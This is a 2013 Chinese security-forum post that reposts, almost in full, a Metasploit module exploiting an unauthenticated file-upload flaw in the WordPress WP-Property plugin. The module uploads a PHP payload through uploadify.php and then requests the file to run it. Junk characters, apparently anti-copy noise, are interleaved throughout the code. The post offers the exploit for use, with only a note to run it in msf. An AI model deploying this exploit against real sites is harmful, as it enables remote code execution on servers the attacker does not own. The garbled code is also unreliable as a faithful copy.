找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2231|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞
) i( {" Q+ {0 S% l" I: t$ K
7 s  a0 I( s$ _5 h) i) }( v/ {# ~ ## # This file is part of the Metasploit Framework and may be subject to
' _: P* r7 W  B' g$ M8 l! ~( k' p
/ r5 X( F* y: y$ Z% V) L. g2 P* }# redistribution and commercial restrictions. Please see the Metasploit. L6 t9 S" ?) o' K4 J5 b6 g' m

6 k- W: G# x0 u* i4 M$ |9 n# Framework web site for more information on licensing and terms of use.- [4 U4 V6 ~3 D8 l
/ P$ `- K' C- Q/ ^" C9 ^" H( U  ]3 ~4 t4 f
#   http://metasploit.com/framework/ ##5 M& G( p4 j3 r

! _5 F/ K6 B; ^" F9 f1 |
6 o! x) J) b# n6 _+ B* o  O. K# b" W/ ^! e

) x6 R+ W. A6 Q. Y7 [4 i3 k
  c; W1 a! L$ ^require 'msf/core'
* L6 K% x2 m) S' b8 j, Hrequire 'msf/core/exploit/php_exe'/ A. H$ y# U; E

" s6 X2 C1 Z) ?, Y  G. Eclass Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',9 r4 H/ Q4 v4 Y7 P3 c& F, k
'Description'    => %q{  p* ]# M- w$ P: e
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>
7 i+ n. Y! W2 Y9 L& p9 P[
- \2 J; E, N* R3 i'Sammy FORGIT', # initial discovery
/ V! r0 g) P! y; M9 F- W7 Y'James Fitts <fitts.james[at]gmail.com>' # metasploit module' i& w, \0 |, m! D: r  W
],
: K: v0 ?' b' R; n# f, T'License'        => MSF_LICENSE,
6 g3 ]5 A3 X. Q'References'     =>
# e6 I, C7 W8 P6 p[5 I# K/ `) W" a; k+ J2 i7 l
[ 'OSVDB', '82656' ],0 X" d, x2 s1 ]/ A1 j# i
[ 'BID', '53787' ],7 E: R# N$ T5 y0 _$ j
[ 'EDB', '18987'],
! n$ g" u3 g8 k9 Y$ p: E9 n+ H[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
* l6 B: Q+ }" f],4 t* s( n# L+ A. X
'Payload'        =>; z9 ~) _' q5 c: h
{
6 N6 E3 a$ g0 M$ t* L'BadChars' => "\x00",
3 i: O" [% S' z, b) [1 H},- Q) `7 `) m' _9 n* D1 b% t' r
'Platform'       => 'php',/ b8 p; D0 ~; p7 e) y! J5 L
'Arch'           => ARCH_PHP,
* [! ^1 c% g" R# x% N( q'Targets'        =>% E% N$ Y* Y: \& P5 V
[4 w2 R; u: f2 f- x, |+ C
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
5 h& e! g. l! n( L: Q9 ~[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
3 n9 K/ v, [$ m8 t9 y, m7 N8 y, k],
* m3 Y+ h8 `& @9 [/ ^. s7 R'DefaultTarget'  => 0,2 e- k8 ?! L3 [6 }' K; h$ W* |6 Y
'DisclosureDate' => 'Mar 26 2012'))
' @! n: ^; O% N9 ^4 l3 Q; x
, Q  p0 Z0 g% [3 y6 tregister_options(
2 Y/ j4 w7 m8 r8 Z# S[9 Z/ x! _: n/ K* q6 B' M" d/ x! r$ m! z
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
9 `6 s( N' t6 l" s' m8 A2 J. E], self.class)
  ~! c" ?# f8 Q' j- f( cend
9 S: S! u& f6 S2 M4 X+ g4 h* h* C) N& v. V) A  T. s
def check0 |2 _' f# P* ^9 c0 j. h" l
uri =  target_uri.path. l4 o3 |% l* F  n3 J' G
uri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',
) \7 M) w0 o* Q; g'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php". S+ s3 d# }% c  E) d3 N
})# Q  `- T/ w: Y3 `, t7 F

8 `( U, R) O' Aif not res or res.code != 200" n8 c) k+ m* |2 w9 Y3 T. s; k
return Exploit::CheckCode::Unknown! [0 w/ P- _3 |: o2 o
end3 p/ m7 }& ^0 ~- R
/ c# p9 N- Z3 X! H, m
return Exploit::CheckCode::Appears
& J! L/ |& b& @" Yend
; E( }5 X/ x  D8 t6 E6 Q
: G# b) y3 V! K* r3 |def exploit
' f" {- D; p4 ~8 [" E% R( ~uri =  target_uri.path
/ X  G/ ^; _4 t9 O' U: Uuri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)
; L# F7 X. j0 }& j+ M. O; ?
$ G+ M- }) |3 W% m$ Rdata = Rex::MIME::Message.new# z7 S) z* M6 |3 y
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")1 |  T) U) v* y6 U& f( e1 Z4 }
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")" c  ?; k& ^/ U
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')# N$ x5 s7 }( k" `) f4 [0 m4 J: Y

/ Q8 }% [! c, v- ^( m- r9 ?/ Bprint_status("#{peer} - Uploading payload #{@payload_name}")
7 k4 f$ h  }& c, D% J/ O" N( mres = send_request_cgi({, ~, B( |3 H" n2 J
'method' => 'POST',
) w1 s  X  a3 F+ y2 S+ x- Y9 A, G'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",0 ^! A; d$ R! x  ]  i) p: w
'ctype'  => "multipart/form-data; boundary=#{data.bound}",
& Q* ~5 _! k* s0 L* Z'data'   => post_data5 a6 q$ I; U) }; {
})
6 x2 [0 r7 a, ^6 K7 c6 |; C% V! w6 W& v
if not res or res.code != 200 or res.body !~ /#{@payload_name}/
# h6 y( m8 r8 l; n  Ifail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
6 m2 W1 O3 G6 q& ^; ?end/ x  M( S$ M. L, x4 ?
6 j2 f, W5 H7 h; B. b9 }
upload_uri = res.body/ n' K; l9 p' Y+ M0 X. B

! @4 I( C; h: wprint_status("#{peer} - Executing payload #{@payload_name}")8 ]  u! r% H/ G* `0 S
res = send_request_raw({
- B1 l6 b  v) N5 h7 z'uri'    => upload_uri,
$ r7 K- t$ t0 x'method' => 'GET'- F( T$ k3 v8 a3 Q% F- Y
})
, h2 r# r) c% H' Eend
* E( N( y9 A9 C: m0 _  }1 \end0 y4 c& C1 o4 k5 ?9 x1 `, y, F" l

1 B4 Y. S# _- y不要问我这写的是什么 怎么利用 我是说msf.8 `/ w0 \  ~1 |5 v; N
! K# C2 O5 q. Y1 j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表